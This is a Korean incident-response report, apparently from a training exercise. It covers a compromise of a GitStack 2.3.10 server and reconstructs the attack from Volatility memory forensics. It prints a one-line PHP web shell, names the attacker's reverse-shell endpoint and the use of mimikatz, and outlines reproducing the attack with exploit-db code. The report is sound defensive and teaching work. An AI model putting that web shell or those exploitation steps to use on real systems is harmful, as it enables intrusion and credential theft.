| **접수자 정보** | | | | | |
| --- | --- | --- | --- | --- | --- |
| 접 수 번 호 | 20230630 | | | | |
| 성 명 | 루키즈 | | 접 수 일 자 | 2023. 06. 29 | |
| **분석자 정보** | | | | | |
| 성 명 | 송승현, 신동석, 김규식, 최영흠, 전유진, 우상준, 이혜담, 김정윤 | | 분 석 일 자 | 2023. 06. 29~2023. 06. 30 | |
| **침해사고 개요** | | | | | |
| 사 고 개 요 | 원격 코드 실행 취약점으로 인한 공격 | | | | |
| 사 고 원 인 | 최신 버전의 애플리케이션을 사용하지 않아 GitStack 2.3.10 버전의 원격 코드 실행 취약점에 노출됨 | | | | |
| 분 석 결 과  (피 해 현 황) | 1. Rootkit 점검 결과 피해자 시스템 운영체제 확인   vol.exe -f IR01.raw imageinfo     1. 프로세스 목록 및 스케줄링 된 프로세스 정보   vol.exe -f IR01.raw --profile=Win7SP1x86 pslist/psscan     * cmd.exe * openssl.exe * powershell.exe  1. 예약 중인 프로그램 확인   vol.exe -f IR01.raw --profile=Win7SP1x86 netscan | findstr LISTENING     1. 실행중인 서비스 정보   vol.exe -f IR01.raw --profile=Win7SP1x86 pstree    powershell-cmd-mimikatz 순으로 프로세스가 실행된 것을 확인할 수 있음   1. 현재 접속중인 사용자 확인   IEUser   1. 네트워크 연결 상태 및 통계 정보   vol.exe -f IR01.raw --profile=Win7SP1x86 netscan    192.168.130.134의 4444 포트가 ESTABLISHED 된 것을 확인할 수 있음  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_   1. 공격을 진행한 범죄자 IP 주소     공격자 ip: 192.168.130.134  메모리에서 추출한 netscan에서의 정보를 확인하면, 대상 PC의 49323으로 세션이 열려있던 것을 확인할 수 있음   1. 공격자가 이용한 애플리케이션의 취약점   GitStack 2.3.10 - 원격 코드 실행 (RCE, Remote Code Execution)  : 대상 시스템의 취약점을 이용하여 인가 받지 않은 사용자가 원격으로 접속하여 악성코드를 실행하는 것   1. 공격자가 공격을 진행하기 시작한 시간 범위     웹 쉘 업로드 2019-07-06 22:55:07 (UTC+0900)    취약점을 통해 공격코드 전송 2019-07-06 22:56:57 (UTC+0900)    공격자 세션 형성 2019-07-06 22:57:01 (UTC+0900)    mimikatz 실행 2019–07-06 23:01:04 (UTC+0900)  공격자는 2019-07-06 22:55:07 ~ 23:01:04 (UTC+0900)동안 공격을 진행한 것으로 추정   1. 공격자가 취약점을 이용하여 진행한 공격 흐름   openssl.exe을 추출하여 명령 실행 이력을 확인 후, 이를 위해 메모리 덤프를 생성한 뒤, Strings(문자열 추출 도구)를 사용하여 openssl.exe를 찾음  추출된 openssl.exe에서는 인증서 비밀번호로 ‘bol3jss2’가 사용되고 있으며, 인증을 수행한 후 GitStack과 관련된 취약점을 악용하고, powershell을 통해 특정 명령어를 실행하는 것으로 추정됨    공격자는 openssl을 통하여 최초로 gitstack에 웹쉘을 업로드 함    exploit.php를 전송하려는 시도 탐색 가능  이후 공격자는 동일 취약점을 이용하여 대상 서버와 세션을 형성하기 위한 공격코드 전송      cmd 자식 프로세스의 ‘mimikatz.exe’라는 크랙 도구를 이용하여 윈도우 계정 암호 탈취를 위해 사용한 것으로 추측되며, 부모 프로세스인 powershell에서 추가적인 작업을 수행했을 가능성이 있음   1. 공격자가 어떤 권한까지 획득을 했는지, 공격자가 생성한 파일이나 의심되는 흔적 확인     c:\GitStack\gitphp\exploit.php  exploit.php 생성되며, 해당 파일에는 ("<?php system($\_POST['a']); ?>")과 같은 내용이 포함됨    공격자의 세션 형성 이후에 mimikatz가 생성된 것을 확인할 수 있음 | | | | |
| **침해사고 시스템 정보** | | | | |
| 호스트/도메인명 | | IEUser | | |
| 호 스 트 용 도 | | 웹 기반의 소스 코드 관리 서버 | | |
| IP 주 소 | | 192.168.130.131 | | |
| 하 드 웨 어  및 OS 정보 | | CPU 수: 4  OS 정보: IE11Win7 | | |
| **대응방안 및 미 조치사항 권고** | | | | | |
| 수행항목 | | 대응방안 및 권고사항 | | | |
| 악성코드 제거 | | c:\GitStack\gitphp에 위치해 있는 exploit.php 웹쉘을 삭제 | | | |
| 계정 확인 | | 공격자에 의해 GitStack에 생성된 rce 계정을 삭제 | | | |
| 앱 업데이트 | | 최신버전인 GitStack 2.3.14으로 업데이트 | | | |
| 비밀번호 강화 | | 문자, 숫자, 대문자/소문자, 기호를 조합하여 일반적인 단어나 이름과 전혀 상관없는 예측할 수 없는 문자열로 안전한 비밀번호 생성 | | | |
| **기타 특이사항** | | | | | |
|  | | | | | |
| **침해 과정** | | | | | |
| 환경을 구축하고 공격코드를 이용하여 시나리오 모의해킹 수행    exploit-db에서 git stack2.3.10 코드를 다운받고 공격할 ip를 수정한 다음에 실행    공격대상 ip랑 command입력이랑 id, passwd등을 설정할 수 있음    코드 실행 후 gitstack를 들어가보면 rce라는 계정이 생성된 것을 확인할 수 있음    또한 exploit.php가 생성된 것을 확인할 수 있음    eventviewer을 통해서보면 ‘rce rce’라는 계정이 생성된 것을 볼 수 있음  gitstackdml /web/index의 특정 git에 접속을 하기 위해서는 gitstack 계정 접속을 진행해야한다. 해당 기능을 통해서 악성 스크립트를 실행할 수 있다.      이미 생성한 계정을 Username에, Password에 공격을 위한 스크립트를 삽입하여 실행한다. 이때의 스크립트는 메모리에서 추출한 스크립트를 그대로 사용한다.      스크립트를 통해서 공격자(130.134:4444)와 리버스 커넥션 생성을 위한 통신을 시도하는 것을 볼 수 있다. | | | | | |
| **시스템 점검 방안** | | | | | |
| 내부 네트워크를 통한 이차 전이공격가능성에 대비하여 각 시스템에서 아래의 사항에 대하여 점검이 필요함  1. 패스워드 변경 유무  2. 시스템 CPU 상태 확인  3. 비 인가된 사용자 접근  4. 시스템 로그  5. 시스템 세션 확인 | | | | | |